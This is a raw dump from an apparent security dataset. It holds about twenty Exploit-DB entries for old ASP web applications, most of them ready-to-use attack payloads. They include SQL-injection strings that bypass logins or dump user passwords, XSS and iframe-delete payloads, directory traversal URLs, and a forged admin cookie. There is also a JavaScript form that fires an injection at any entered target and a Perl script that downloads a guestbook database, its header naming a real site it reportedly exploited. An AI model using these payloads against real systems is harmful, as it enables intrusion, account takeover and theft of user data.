deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28878
Description: Evandor Easy notesManager 0.0.1 - 'login.php?Username' SQL Injection
Type: webapps
Platform: asp
Date: 2006-10-30
Author: poplix

Exploit:
source: https://www.securityfocus.com/bid/20803/info

Easy notesManager is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Supplying the following to the 'username' field is sufficient to bypass authentication:

dontcare' and 0=1 union select id,login,'0cc175b9c0f1b6a831c399e269772661',grp,salutation,firstname,lastname,email from users where login='superadmin
Exploit-DB #28879
Description: Evandor Easy notesManager 0.0.1 - Search Page SQL Injection
Type: webapps
Platform: asp
Date: 2006-10-30
Author: poplix

Exploit:
source: https://www.securityfocus.com/bid/20803/info
 
Easy notesManager is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
Supplying the following to the 'search' field will return a list of all users and passwords:

dontcare')) union select 0,login,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users --
Exploit-DB #29025
Description: Evolve Merchant - 'viewcart.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21070/info

Evolve Merchant is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/viewcart.asp?zoneid=[sql]
Exploit-DB #29197
Description: Evolve Shopping Cart - 'products.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-27
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21323/info

Evolve Shopping Cart is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

UPDATE: The vendor indicates that the application is not vulnerable to this issue.

http://www.example.com/products.asp?partno=[sql]
Exploit-DB #29596
Description: EWay 4 - Default.APSX Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-02-12
Author: BLacK ZeRo

Exploit:
source: https://www.securityfocus.com/bid/22528/info

eWay is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E
Exploit-DB #11212
Description: eWebeditor - Directory Traversal
Type: webapps
Platform: asp
Date: 2010-01-21
Author: anonymous

Exploit:
#################################################################
# Application Info:
# Name: eWebeditor
# Version: all version
#################################################################
# Vulnerability Info:
# Type: Directory Traversal
# Risk: Medium
#################################################################
# Vulnerability:
# http://site.com/admin/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..
#################################################################
Exploit-DB #11295
Description: eWebeditor ASP Version - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-01-29
Author: anonymous

Exploit:
#################################################################
# Application Info:
# Name: eWebeditor
# Version: ASP
#################################################################
Vulnerability:

=======================
Arbitrary File Upload
=======================
<form action = "http://site.com/manage/ewebeditor/upload.asp?action=save&type=IMAGE&style=luoye 'union select S_ID, S_Name, S_Dir, S_CSS, [S_UploadDir]% 2b' / .. / db ', S_Width, S_Height, S_Memo, S_IsSys, S_FileExt, S_FlashExt, [S_ImageExt]% 2b' | asa ', S_MediaExt, S_FileSize, S_FlashSize, S_ImageSize, S_MediaSize, S_StateFlag, S_DetectFromWord, S_InitMode, S_BaseUrl from ewebeditor_style where s_name =' standard 'and'a' = 'a "method = post name = myform enctype =" multipart / form-data "> 
<p align="center"> 
<input type=file name=uploadfile size=100><br> <br> 
<input type=submit value=Upload>  </p>
</form> 


=======================
Arbitrary File Upload 2
=======================
http://site.com/admin/ewebeditor/ewebeditor.htm?id=body&style=popup 


=======================
Database Disclosure
=======================
http://site.com/ewebeditor/db/ewebeditor.mdb 


=======================
Administrator bypass
=======================
http://site.com/eWebEditor/admin/login.asp

put this code instead URL
javascript: alert (document.cookie = "adminpass =" + escape ( "admin"));


=======================
Directory Traversal
=======================
http://site.com/admin/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=./..


=======================
Directory Traversal 2
=======================
http://site.com/ewebeditor/asp/browse.asp?style=standard650&dir=./..
Exploit-DB #3558
Description: eWebquiz 8 - 'eWebQuiz.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-23
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>eWebquiz <= V.8 (eWebQuiz.asp) Remote SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: eWebquiz <= V.8 (eWebQuiz.asp) Remote SQL Injection Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.activewebsoftwares.com
//'[$$         : $ 599.00
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/eWebQuiz.asp?" //File name
   var acik ="QuizID=" // Line x
   var sql = "-1%20union%20select%201,2,3,4,5,6,7,1,2,3,4,5,6,7,8,9,1,2,3,4,5,1,2,3,111,password,0,1%20from%20admins"
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+sql; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">eWebquiz <= V.8 (eWebQuiz.asp) Remote SQL Injection Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-03-23]
Exploit-DB #7279
Description: eWebquiz 8 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
                                           ÙˆÙ…Ø§ Ø£ÙˆØªÙŠØªÙ… Ù…Ù† Ø§Ù„Ø¹Ù„Ù… Ø§Ù„Ø§ Ù‚Ù„ÙŠÙ„Ø§
[~]-------------------------------ØµØ¯Ù‚ Ø§Ù„Ù„Ù‡ Ø§Ù„Ø¹Ø¸ÙŠÙ…-------------------------------

 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: eWebquiz v 8
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoewebquiz/register.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #10529
Description: eWebquiz 8 - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-17
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (multi) Blind SQL Injection Vulnerability
[~] Vendor: www.activewebsoftwares.com
[*] Software: eWebquiz v 8
[*] author: ((R3d-D3v!L))
[*] Date: 18.dec.2009
[*] T!ME: 12:00 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????




[*] Err0r C0N50L3:

  http://server/questions.asp?QuizID={Xp10}

 0R

  http://server/importquestions.asp?QuizID={offsec}

 or

  http://server/quiztakers.asp?QuizID=((r3d D3v!L))


 [~] {Xp10}:

  7Ru3 : questions.asp?QuizID=1 and 1=1

  f4L53: questions.asp?QuizID=1 and 1=2

 0R
   {offsec}
  7Ru3 : importquestions.asp?QuizID=1 and 1=1

  f4L53: importquestions.asp?QuizID=1 and 1=2

 0r
   ((r3d D3v!L))
  7Ru3 : quiztakers.asp?QuizID=1 and 1=1

  f4L53: quiztakers.asp?QuizID=1 and 1=2

N073:


N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)

! GAZA !N 0uR HEART's blood and M!ND
[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #31843
Description: Excuse Online - 'pwd.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-05-26
Author: Unohope

Exploit:
source: https://www.securityfocus.com/bid/29370/info

Excuse Online is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/excuse/MainProgram/pwd.asp?[CREDENTIAL_REDACTED]='+or+???+like+'%25
http://www.example.com/excuse/MainProgram/pwd.asp?[CREDENTIAL_REDACTED]='+or+??+like+'%25
Exploit-DB #8377
Description: Exjune Guestbook 2.0 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-04-09
Author: AlpHaNiX

Exploit:
#!/usr/bin/perl
# By AlpHaNiX [NullArea.Net]
# alpha[at]hacker.bz
# Made in Tunisia
###########
# script : Exjune Guestbook v2
# download : http://www.exjune.com/downloads/downloads/exJune_guestbook.asp
###########
# Vulnerable :
# database path : /admin/exdb.mdb
##########
# Real Life Example :
#
#
# OOO  OOO           OO    OO        OO
#  OO   O             O     O         O
#  O O  O  OO  OO     O     O        O O   OO OOO   OOOO    OOOOO
#  O  O O   O   O     O     O        OOO    OO     OOOOOO       O
#  O   OO   O   O     O     O       O   O   O      O       OOOOOO
# OOO  OO   OOOOO   OOOOO OOOOO    OOO OOO OOOOO    OOOOO  OOOO OO
#
#
#[-] Exjune Guestbook v2 Remote Database Disclosure Exploit
#[-] Found & Exploited By AlpHaNiX
#
#
#[!] Exploiting http://www.ladyslipperretreat.com/guestbook// ....
#[+] http://www.ladyslipperretreat.com/guestbook// Exploited ! Database saved to c:/db.mdb
##########
# Greetz for Zigma/Djek/unary/r1z


use lwp::UserAgent;

system('cls');
system('title Exjune Guestbook v2 Remote Database Disclosure Exploit');
system('color 2');
if (!defined($ARGV[0])) {print "[!] Usage : \n    ./exploit http://site.com\n";exit();}
if ($ARGV[0] =~ /http:\/\// ) { $site = $ARGV[0]."/"; } else { $site = "http://".$ARGV[0]."/"; }
print "\n\n\n\n OOO  OOO           OO    OO        OO\n" ;
print "  OO   O             O     O         O\n" ;
print "  O O  O  OO  OO     O     O        O O   OO OOO   OOOO    OOOOO\n" ;
print "  O  O O   O   O     O     O        OOO    OO     OOOOOO       O\n" ;
print "  O   OO   O   O     O     O       O   O   O      O       OOOOOO\n" ;
print " OOO  OO   OOOOO   OOOOO OOOOO    OOO OOO OOOOO    OOOOO  OOOO OO\n" ;
print "\n\n[-] Exjune Guestbook v2 Remote Database Disclosure Exploit\n";
print "[-] Found & Exploited By AlpHaNiX \n\n\n";
print "[!] Exploiting $site ....\n";
my $site      = $ARGV[0] ;
my $target    = $site."/admin/exdb.mdb" ;
my $useragent = LWP::UserAgent->new();
my $request   = $useragent->get($target,":content_file" => "c:/db.mdb");
if ($request->is_success) {print "[+] $site Exploited ! Database saved to c:/db.mdb";exit();}
else {print "[!] Exploiting $site Failed !\n[!] ".$request->status_line."\n";exit();}

# milw0rm.com [2009-04-09]
Exploit-DB #23853
Description: Expinion.net Member Management System 2.1 - 'error.asp?err' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9932/info

It has been reported that a number of Member Management System scripts are prone to cross-site scripting vulnerabilities. These issues are reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. The issues are reported to affect the 'err' parameter of 'error.asp' script and the 'register.asp' script.

Member Management System version 2.1 has been reported to be affected by this issue, however, other versions may be vulnerable as well.

http://www.example.com/error.asp?err=">[XSS]
Exploit-DB #23851
Description: Expinion.net Member Management System 2.1 - 'news_view.asp?ID' SQL Injection
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9931/info

It has been reported that Member Management System may be prone to a SQL injection vulnerability that may allow a remote attacker to inject malicious SQL syntax into database queries. The problem is reported to exist in the 'ID' parameter contained within the 'resend.asp' and 'news_view.asp' scripts.

Member Management System version 2.1 has been reported to be affected by this issue, however, other versions may be vulnerable as well.

http://www.example.com/news_view.asp?ID=[SQL query]
Exploit-DB #23854
Description: Expinion.net Member Management System 2.1 - 'register.asp?err' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9932/info
 
It has been reported that a number of Member Management System scripts are prone to cross-site scripting vulnerabilities. These issues are reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. The issues are reported to affect the 'err' parameter of 'error.asp' script and the 'register.asp' script.
 
Member Management System version 2.1 has been reported to be affected by this issue, however, other versions may be vulnerable as well.

In the register form: "><iframe src=http://www.example.com/admin/user_del.asp?ID=[ID to delete]>
Exploit-DB #23852
Description: Expinion.net Member Management System 2.1 - 'resend.asp?ID' SQL Injection
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9931/info
 
It has been reported that Member Management System may be prone to a SQL injection vulnerability that may allow a remote attacker to inject malicious SQL syntax into database queries. The problem is reported to exist in the 'ID' parameter contained within the 'resend.asp' and 'news_view.asp' scripts.
 
Member Management System version 2.1 has been reported to be affected by this issue, however, other versions may be vulnerable as well.


http://www.example.com/resend.asp?ID=[SQL query]
Exploit-DB #23861
Description: Expinion.net News Manager Lite 2.5 - 'category_news.asp?ID' SQL Injection
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9935/info
    
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
    
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
    
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/category_news.asp?ID='[SQL]
Exploit-DB #23859
Description: Expinion.net News Manager Lite 2.5 - 'category_news_headline.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9935/info
  
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
  
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
  
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/category_news_headline.asp?ID=2&n=[XSS]
Exploit-DB #23857
Description: Expinion.net News Manager Lite 2.5 - 'comment_add.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9935/info

Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.

The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.

News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/comment_add.asp?ID=3&email=[XSS]
Exploit-DB #23860
Description: Expinion.net News Manager Lite 2.5 - 'more.asp?ID' SQL Injection
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9935/info
   
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
   
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
   
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/more.asp?ID='[SQL query]
Exploit-DB #23863
Description: Expinion.net News Manager Lite 2.5 - 'NEWS_LOGIN?admin' Cookie Authentication Bypass
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9935/info
     
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
     
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
     
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

Cookie: NEWS%5FLOGIN=ADMIN=1&ID=1
Exploit-DB #23862
Description: Expinion.net News Manager Lite 2.5 - 'news_sort.asp?filter' SQL Injection
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9935/info
    
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
    
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
    
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/news_sort.asp?filter='[SQL]